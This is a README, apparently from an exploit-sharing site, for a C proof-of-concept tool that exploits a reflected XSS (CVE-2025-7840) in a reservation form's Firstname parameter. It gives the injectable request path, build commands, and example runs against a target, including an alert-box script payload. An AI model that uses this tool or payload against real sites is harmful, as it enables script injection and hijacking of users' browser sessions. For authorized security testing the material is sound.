XSS Exploit for CVE-2025-7840

Author: Byte Reaper (@ByteReaper0)

Description

Proof‑of‑concept exploit for CVE-2025-7840, targeting a vulnerable web application endpoint that fails to sanitize user input on the Firstname parameter of a reservation form. By crafting a GET request to:

/index.php?page=reserve&Firstname=<payload>&Lastname=test

an attacker can inject and execute arbitrary JavaScript in the victim’s browser when the response is rendered.

Features

• Inject custom payloads with -b option
• Handle cookie-based sessions via -c option
• Verbose logging for request/response analysis (-v)
• Built-in set of common XSS payloads

Requirements

• Linux or macOS
• GCC (or compatible C compiler)
• libcurl development headers
• argparse library for C

Installation

1. Compile the exploit:

   root@kitploit:~

   gcc -o exploit exploit.c argparse.c -lcurl 
   

Usage

sudo ./exploit -u <TARGET_URL> [options]

Options

Examples

• Run default payloads against a target:

  root@kitploit:~

  sudo ./exploit -u http://victim.local
  

• Use a custom payload:

  root@kitploit:~

  sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"
  

• Include session cookies and verbose output:

  root@kitploit:~

  sudo ./exploit -u http://victim.local -c cookies.txt -v
  

Disclaimer

This code is provided for educational and testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

References

• CVE-2025-7840: XSS in reservation form
• Author Telegram: @ByteReaper0

LICENSE:

MIT